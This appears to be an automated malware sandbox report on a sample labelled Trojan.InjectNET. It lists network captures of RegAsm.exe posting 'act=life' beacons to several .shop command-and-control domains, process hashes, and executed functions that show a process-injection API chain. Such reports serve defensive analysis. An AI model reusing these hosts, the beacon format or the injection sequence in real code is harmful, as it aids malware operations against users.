Aug 28, 2024 15:29:02.717278004 CEST	1236	IN	Data Raw: 53 ff 15 5c b9 43 00 83 c4 04 89 04 24 89 44 24 20 53 ff 15 5c b9 43 00 83 c4 04 89 c3 89 44 24 14 85 f6 0f 84 93 00 00 00 83 7c 24 08 00 0f 84 88 00 00 00 83 7c 24 04 00 0f 84 7d 00 00 00 83 3c 24 00 74 77 85 db 74 73 90 90 90 90 90 90 90 90 90 Data Ascii: S\C$D$ S\CD$\|$\|$}<$twtsFFFFFFF utMu\|$0tK7IVXCt$XCt$XC4$XCSXC
Aug 28, 2024 15:29:02.721970081 CEST	1236	IN	Data Raw: 0e 01 00 00 0f be 41 02 85 c0 0f 84 02 01 00 00 0f be 69 03 85 ed 0f 84 f6 00 00 00 89 d9 80 c1 d0 80 f9 09 77 05 83 c3 d0 eb 23 89 d9 80 c1 9f 80 f9 05 77 05 83 c3 a9 eb 14 89 d9 80 c1 bf 80 f9 06 72 07 bb ff ff ff ff eb 03 83 c3 c9 89 d1 80 c1 Data Ascii: Aiw#wrw#wrw#wrw#wrt%t

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.7	49703	188.114.96.3	443	320	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-28 13:29:04 UTC	267	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: miracledzmnqwui.shop
2024-08-28 13:29:04 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-08-28 13:29:05 UTC	814	IN	HTTP/1.1 200 OK Date: Wed, 28 Aug 2024 13:29:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=3lklc31d910s7hhmnv5u0r03fl; expires=Sun, 22-Dec-2024 07:15:44 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=UyBUlKY8%2BA0hqBZ78EuF8pdqwEimVCQYowfNNoNS8pUJq%2F1HS8xO1Ze9DZ%2BdXcfHXFM6zeURzAGEYeI3Iaauea7Gw9PzAjtjNjJhrn%2FRcUHHc4jiG67g%2FwleGs2dA0X%2F3mN72HPItA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ba4a5ed2eb2c327-EWR alt-svc: h3=":443"; ma=86400
2024-08-28 13:29:05 UTC	15	IN	Data Raw: 61 0d 0a 65 72 72 6f 72 20 23 44 31 32 0d 0a Data Ascii: aerror #D12
2024-08-28 13:29:05 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.7	49704	188.114.97.3	443	320	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-28 13:29:05 UTC	265	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: locatedblsoqp.shop
2024-08-28 13:29:05 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-08-28 13:29:06 UTC	804	IN	HTTP/1.1 200 OK Date: Wed, 28 Aug 2024 13:29:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=83rdi2afngv8f9dhc7cddk15i1; expires=Sun, 22-Dec-2024 07:15:45 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Li8ZRNaqtKUAd9qJnzDzkR13zIEOx4OlJONFJzfOgMWxKTqqae5rDaPxB5yQ9U78%2FDWOFQwEiHUj7ZmfPimzO6s9AC4k6IYLg1G44nEmjTzIuiNlFh%2Bo7gJ3gWmk%2FDovxz%2F2RrM%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ba4a5f37d7a41ac-EWR alt-svc: h3=":443"; ma=86400
2024-08-28 13:29:06 UTC	15	IN	Data Raw: 61 0d 0a 65 72 72 6f 72 20 23 44 31 32 0d 0a Data Ascii: aerror #D12
2024-08-28 13:29:06 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.7	49705	188.114.97.3	443	320	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-28 13:29:06 UTC	263	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: traineiwnqo.shop
2024-08-28 13:29:06 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-08-28 13:29:07 UTC	543	IN	HTTP/1.1 200 OK Date: Wed, 28 Aug 2024 13:29:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close X-Frame-Options: SAMEORIGIN Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=9AYW3u6A3O2EexhfaxO6u%2BCN3XCToRfG%2FMSYewtXYiP9opGlcRnkhwu2wOseLAJ1z8MK3WJb2wzkbCQn91ukvDnouPgZDGyRLp31LVCk164FWSZT55pJj9xXLFx8Qx3TuBrj"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ba4a5fb1f078cc0-EWR
2024-08-28 13:29:07 UTC	826	IN	Data Raw: 31 31 32 38 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 Data Ascii: 1128<!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if
2024-08-28 13:29:07 UTC	1369	IN	Data Raw: 73 2e 69 65 2e 63 73 73 22 20 2f 3e 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 3c 2f 73 74 79 6c 65 3e 0a 0a 0a 3c 21 2d 2d 5b 69 66 20 67 74 65 20 49 45 20 31 30 5d 3e 3c 21 2d 2d 3e 0a 3c 73 63 72 69 70 74 3e 0a 20 20 69 66 20 28 21 6e 61 76 69 67 61 74 6f 72 2e 63 6f 6f 6b 69 65 45 6e 61 62 6c 65 64 29 20 7b 0a 20 20 20 20 77 69 6e 64 6f 77 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 27 44 4f 4d 43 6f 6e 74 65 6e 74 4c 6f 61 64 65 64 27 2c 20 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 0a 20 20 20 20 20 20 76 61 72 20 63 6f 6f 6b 69 65 45 6c 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 27 63 6f 6f 6b 69 65 2d 61 6c 65 72 74 Data Ascii: s.ie.css" /><![endif]--><style>body{margin:0;padding:0}</style>...[if gte IE 10]>...><script> if (!navigator.cookieEnabled) { window.addEventListener('DOMContentLoaded', function () { var cookieEl = document.getElementById('cookie-alert
2024-08-28 13:29:07 UTC	1369	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 3c 69 6e 70 75 74 20 74 79 70 65 3d 22 68 69 64 64 65 6e 22 20 6e 61 6d 65 3d 22 61 74 6f 6b 22 20 76 61 6c 75 65 3d 22 5a 38 72 4f 4f 56 70 43 47 56 6d 67 57 4e 54 6d 44 5a 53 33 52 45 30 33 39 61 64 35 55 47 39 4f 45 6c 69 75 6a 49 76 59 44 4b 51 2d 31 37 32 34 38 35 31 37 34 37 2d 30 2e 30 2e 31 2e 31 2d 2f 61 70 69 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 6c 65 61 72 6e 69 6e 67 2f 64 64 6f 73 2f 67 6c 6f 73 73 61 72 79 2f 6d 61 6c 77 61 72 65 2f 22 20 63 6c 61 73 73 3d 22 63 66 2d 62 74 6e 22 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 Data Ascii: <input type="hidden" name="atok" value="Z8rOOVpCGVmgWNTmDZS3RE039ad5UG9OEliujIvYDKQ-1724851747-0.0.1.1-/api"> <a href="https://www.cloudflare.com/learning/ddos/glossary/malware/" class="cf-btn" style="backgrou
2024-08-28 13:29:07 UTC	836	IN	Data Raw: 6c 6c 3b 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 74 65 6d 20 73 6d 3a 62 6c 6f 63 6b 20 73 6d 3a 6d 62 2d 31 22 3e 3c 73 70 61 6e 3e 50 65 72 66 6f 72 6d 61 6e 63 65 20 26 61 6d 70 3b 20 73 65 63 75 72 69 74 79 20 62 79 3c 2f 73 70 61 6e 3e 20 3c 61 20 72 65 6c 3d 22 6e 6f 6f 70 65 6e 65 72 20 6e 6f 72 65 66 65 72 72 65 72 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 35 78 78 2d 65 72 72 6f 72 2d 6c 61 6e 64 69 6e 67 22 20 69 64 3d 22 62 72 61 6e 64 5f 6c 69 6e 6b 22 20 74 61 72 67 65 74 3d 22 5f 62 6c 61 6e 6b 22 3e 43 6c 6f 75 64 66 6c 61 72 65 3c 2f 61 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 Data Ascii: ll;</span> </span> <span class="cf-footer-item sm:block sm:mb-1"><span>Performance & security by</span> <a rel="noopener noreferrer" href="https://www.cloudflare.com/5xx-error-landing" id="brand_link" target="_blank">Cloudflare</a></span>
2024-08-28 13:29:07 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	09:29:01
Start date:	28/08/2024
Path:	C:\Users\user\Desktop\SecuriteInfo.com.Trojan.InjectNET.17.23993.14959.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\SecuriteInfo.com.Trojan.InjectNET.17.23993.14959.exe"
Imagebase:	0x4c0000
File size:	14'336 bytes
MD5 hash:	876C12019E3B15FE92841E8D358D4921
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	09:29:02
Start date:	28/08/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Wow64 process (32bit):	false
Commandline:	"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\RegAsm.exe"
Imagebase:	0xa0000
File size:	65'440 bytes
MD5 hash:	0D5DF43AF2916F47D00C1573797C1A13
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	09:29:02
Start date:	28/08/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Wow64 process (32bit):	true
Commandline:	"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\RegAsm.exe"
Imagebase:	0xaf0000
File size:	65'440 bytes
MD5 hash:	0D5DF43AF2916F47D00C1573797C1A13
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	28.2%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	11.1%
Total number of Nodes:	63
Total number of Limit Nodes:	2

Executed Functions

Function 00CF31B4 Relevance: 1.8, Strings: 1, Instructions: 536
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

<-q, xrefs: 00CF365E

Memory Dump Source

Source File: 00000000.00000002.1253008950.0000000000CF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00CF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cf0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID: <-q
API String ID: 0-3445421276
Opcode ID: 42848d297370ea74e60b5998f168583cac79f25391276d60f26c61fb1b5a655d
Instruction ID: 125c49f1b9b13fcfd9b59c5fff3c5e89a09150642ecb61bc0db0713899d23ead
Opcode Fuzzy Hash: 42848d297370ea74e60b5998f168583cac79f25391276d60f26c61fb1b5a655d
Instruction Fuzzy Hash: F9128130B002099FDB58DB65D855B6EB7B2BFC8300F24C169E80AAB395DF35DD428B95

Function 00CF2E24 Relevance: 1.7, APIs: 1, Instructions: 249
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNELBASE(?,?,?,?,?,?,?,?,?,?), ref: 00CF3066

Memory Dump Source

Source File: 00000000.00000002.1253008950.0000000000CF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00CF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cf0000_SecuriteInfo.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: e1e492a77f97b54ed410dc0b707525e9d9ff7703bbb3ff0a3eb76be711dad655
Instruction ID: 611615fa972ddcc322127ec0c842a57dca68b7f2567c61fce8efe8d2a813a789
Opcode Fuzzy Hash: e1e492a77f97b54ed410dc0b707525e9d9ff7703bbb3ff0a3eb76be711dad655
Instruction Fuzzy Hash: B5A16C71D0075D9FEB64CFA8C841BEDBBB2BF48310F148169E919A7240DB749A85CF92

Function 00CF2E30 Relevance: 1.7, APIs: 1, Instructions: 243
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNELBASE(?,?,?,?,?,?,?,?,?,?), ref: 00CF3066

Memory Dump Source

Source File: 00000000.00000002.1253008950.0000000000CF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00CF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cf0000_SecuriteInfo.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: 308bd8ca46db054f66905e9c95e8f78fa54a79f0271e375eeb0f2887be4c4485
Instruction ID: b532012a94094a0d1064592630fcd4daadd40f821fedc142ffec915425f4ed4d
Opcode Fuzzy Hash: 308bd8ca46db054f66905e9c95e8f78fa54a79f0271e375eeb0f2887be4c4485
Instruction Fuzzy Hash: 33915B71D0075D9FEB64CFA8C841BEDBBB2BF48310F148169E919A7240DB749A85CF92

Function 00CF2BA0 Relevance: 1.6, APIs: 1, Instructions: 72
injectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteProcessMemory.KERNELBASE(?,?,00000000,?,?), ref: 00CF2C38

Memory Dump Source

Source File: 00000000.00000002.1253008950.0000000000CF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00CF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cf0000_SecuriteInfo.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: 85f6fe4dbc21bee1875e60d2471b7499824c29feea936cf8fb9c1f4455e26350
Instruction ID: 6a2c8d2f51aca8b89ee68be148352f14a7f35d07249572b982573960aa20a51e
Opcode Fuzzy Hash: 85f6fe4dbc21bee1875e60d2471b7499824c29feea936cf8fb9c1f4455e26350
Instruction Fuzzy Hash: 8F2133B5D003499FDB10DFA9C881BEEBBF1FF48310F50842AE969A7251C7799945CBA0

Function 00CF2BA8 Relevance: 1.6, APIs: 1, Instructions: 69
injectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteProcessMemory.KERNELBASE(?,?,00000000,?,?), ref: 00CF2C38

Memory Dump Source

Source File: 00000000.00000002.1253008950.0000000000CF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00CF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cf0000_SecuriteInfo.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: 6670afd08240d5ccd8ea4e749065463f1283d16d60e91ca0d28f7c0571ff0727
Instruction ID: 6a6bff5f1582a3eedb3483d6426dc05c0ef6e782430a1ae394ef8c8267e27e74
Opcode Fuzzy Hash: 6670afd08240d5ccd8ea4e749065463f1283d16d60e91ca0d28f7c0571ff0727
Instruction Fuzzy Hash: 7B2135B1D003099FDB10CFA9C881BEEBBF5FB48310F508429E918A7240C7789941CBA0

Function 00CF2A08 Relevance: 1.6, APIs: 1, Instructions: 67
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Wow64SetThreadContext.KERNEL32(?,00000000), ref: 00CF2A8E

Memory Dump Source

Source File: 00000000.00000002.1253008950.0000000000CF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00CF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cf0000_SecuriteInfo.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: 5aae4ad406a02e940443322b196be2f67fafc6720f16089b69e179772314cf9d
Instruction ID: 089beae5fcf7a5f77debd254763b97daf38ccbfd4681ef68f8894ff9c6ab1ad9
Opcode Fuzzy Hash: 5aae4ad406a02e940443322b196be2f67fafc6720f16089b69e179772314cf9d
Instruction Fuzzy Hash: 8C215971D003098FDB24CFAAC485BEEBBF4AF48310F54842DD959A7241CB789945CFA1

Function 00CF2C91 Relevance: 1.6, APIs: 1, Instructions: 66
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ReadProcessMemory.KERNELBASE(?,?,?,?,?), ref: 00CF2D18

Memory Dump Source

Source File: 00000000.00000002.1253008950.0000000000CF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00CF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cf0000_SecuriteInfo.jbxd

Similarity

API ID: MemoryProcessRead
String ID:
API String ID: 1726664587-0
Opcode ID: a01e2443e90e553754a70a367c87ba8d8d698f02f9df213557389c2d8493c947
Instruction ID: c5e8037ad48433cb6d9c0b6bebdeb35ae3a853c5cd79a49a74b350e749df364e
Opcode Fuzzy Hash: a01e2443e90e553754a70a367c87ba8d8d698f02f9df213557389c2d8493c947
Instruction Fuzzy Hash: 7721F375C002499FDB10DFAAC881BEEBBB5FF48320F50842EE959A7250C7799905CBA1

Function 00CF2C98 Relevance: 1.6, APIs: 1, Instructions: 63
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ReadProcessMemory.KERNELBASE(?,?,?,?,?), ref: 00CF2D18

Memory Dump Source

Source File: 00000000.00000002.1253008950.0000000000CF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00CF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cf0000_SecuriteInfo.jbxd

Similarity

API ID: MemoryProcessRead
String ID:
API String ID: 1726664587-0
Opcode ID: 7f4bfebe6692b70da97b64368a9377db8963637a8afc27e0481b59a62922453e
Instruction ID: d48028ab7c719e2e1b913f5d6e326822ae3915ea2e99c12f15339a21ff5c6bdb
Opcode Fuzzy Hash: 7f4bfebe6692b70da97b64368a9377db8963637a8afc27e0481b59a62922453e
Instruction Fuzzy Hash: 85211671C003499FDB10DFAAC881BEEBBF5FF48310F50842AE919A7240C7799901CBA5

Function 00CF2A10 Relevance: 1.6, APIs: 1, Instructions: 63
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Wow64SetThreadContext.KERNEL32(?,00000000), ref: 00CF2A8E

Memory Dump Source

Source File: 00000000.00000002.1253008950.0000000000CF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00CF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cf0000_SecuriteInfo.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: 1d0dc05595888a92eb81c85a4583329304e6050d61ad13f3b2960b8200bebad4
Instruction ID: 5dd0ffd85a56cc481c79785170ad09e1ab333b0cef02890dee345e68afd4f711
Opcode Fuzzy Hash: 1d0dc05595888a92eb81c85a4583329304e6050d61ad13f3b2960b8200bebad4
Instruction Fuzzy Hash: 05212971D003098FDB24DFAAC485BEEBBF4EF48324F548429D559A7240CB789945CFA5

Function 00CF2AE0 Relevance: 1.6, APIs: 1, Instructions: 57
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAllocEx.KERNELBASE(?,?,?,?,?), ref: 00CF2B56

Memory Dump Source

Source File: 00000000.00000002.1253008950.0000000000CF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00CF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cf0000_SecuriteInfo.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: e40ca757b969a3c2f9fbf7967693eec31edab9b6aa6762f7548d2b0b258112b9
Instruction ID: 9439774e9e17f4f5aa0d29a8f62d2b132040ca245515af7dcd5e063732c1728e
Opcode Fuzzy Hash: e40ca757b969a3c2f9fbf7967693eec31edab9b6aa6762f7548d2b0b258112b9
Instruction Fuzzy Hash: 8C115675C002488FDB20DFAAC845BEEBBF5AB48320F108419E926A7250C7799901CFA0

Function 00CF2958 Relevance: 1.6, APIs: 1, Instructions: 53
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ResumeThread.KERNELBASE ref: 00CF29C2

Memory Dump Source

Source File: 00000000.00000002.1253008950.0000000000CF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00CF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cf0000_SecuriteInfo.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: bda6d60a69e393ccd6eeb6b86e5b734166d3c6cfb7f88a636c0ab2492dcc7676
Instruction ID: e17ece61a7aab04b17460bea8f71a5f3f76c9905818764e76c241c8eaaa4ed4c
Opcode Fuzzy Hash: bda6d60a69e393ccd6eeb6b86e5b734166d3c6cfb7f88a636c0ab2492dcc7676
Instruction Fuzzy Hash: C9117970C003488FDB20DFAAC4457EEFBF4AB48314F20841DC455A3240C7795905CF90

Function 00CF2AE8 Relevance: 1.6, APIs: 1, Instructions: 53
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAllocEx.KERNELBASE(?,?,?,?,?), ref: 00CF2B56

Memory Dump Source

Source File: 00000000.00000002.1253008950.0000000000CF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00CF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cf0000_SecuriteInfo.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 8308fbc7046a509bd6a77ee9e8bb6d0a2297fb6900bd890c92b89929f34ad904
Instruction ID: eb183253649c05b64fe6a378337f39c30966282863857b6e2c7eed7f05a1d262
Opcode Fuzzy Hash: 8308fbc7046a509bd6a77ee9e8bb6d0a2297fb6900bd890c92b89929f34ad904
Instruction Fuzzy Hash: 20112675C003499FDB20DFAAC845BEEBBF5EB48320F148419E929A7250CB759941CFA5

Function 00CF2960 Relevance: 1.5, APIs: 1, Instructions: 49
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ResumeThread.KERNELBASE ref: 00CF29C2

Memory Dump Source

Source File: 00000000.00000002.1253008950.0000000000CF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00CF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cf0000_SecuriteInfo.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: 7287101b38b9e1c5b13154dfe39834b86a1c581b3f8a2d6742bd813bf4fb095e
Instruction ID: 517a6526ad23ddf8e31359ec5b2aa39eb2f4aa22c299f5f69a3270e20349b9cc
Opcode Fuzzy Hash: 7287101b38b9e1c5b13154dfe39834b86a1c581b3f8a2d6742bd813bf4fb095e
Instruction Fuzzy Hash: 2C116A71D003498FDB20DFAAC4457AEFBF4EB48320F108419D559A7340CB756941CFA4

Function 00C9D7F1 Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1252917437.0000000000C9D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00C9D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c9d000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3d13f5eb45b2f392b5a96c124572f39ee06dc934c3181a54565ad664900b88f3
Instruction ID: df77009957ecd7ff40376ec6f4fdefe79ecaf9f97d95130a21459bdff8428de1
Opcode Fuzzy Hash: 3d13f5eb45b2f392b5a96c124572f39ee06dc934c3181a54565ad664900b88f3
Instruction Fuzzy Hash: E801F7314083449AEB204A12CCC8B66BB98EF40365F14C05AED1A2A2C3C2349844CAF9

Function 00C9D7F0 Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1252917437.0000000000C9D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00C9D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c9d000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1506f324d1a8792ed746b022559ef882026892fed8f0635cc230040f7b43940f
Instruction ID: 58d9514b61870d2e95617a7fb016b909532b56dd8e5d7c7b508a881b42fccd35
Opcode Fuzzy Hash: 1506f324d1a8792ed746b022559ef882026892fed8f0635cc230040f7b43940f
Instruction Fuzzy Hash: 91F0CD71408344AEEB208A06CCC8B66FF98EB90734F18C05EED191B2C3C278AC40CAB5

Analysis Process: RegAsm.exePID: 320, Parent PID: 6612COMMON

Execution Graph

Execution Coverage:	2.7%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	36.9%
Total number of Nodes:	122
Total number of Limit Nodes:	13

Executed Functions

Function 0042EB21 Relevance: 25.1, APIs: 10, Strings: 4, Instructions: 640
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SysAllocString.OLEAUT32(?), ref: 0042EB9D
CoSetProxyBlanket.OLE32(?,0000000A,00000000,00000000,00000003,00000003,00000000,00000000), ref: 0042EBE2
SysAllocString.OLEAUT32(29DD2BDD), ref: 0042EC5D
SysAllocString.OLEAUT32(29DD2BDD), ref: 0042ED0D
SysFreeString.OLEAUT32(?), ref: 0042ED49
SysFreeString.OLEAUT32(?), ref: 0042ED51
SysFreeString.OLEAUT32(?), ref: 0042ED62

Strings

7654, xrefs: 0042F120
/.-, xrefs: 0042EBFB
B, xrefs: 0042ED71
4`[b, xrefs: 0042F190

Memory Dump Source

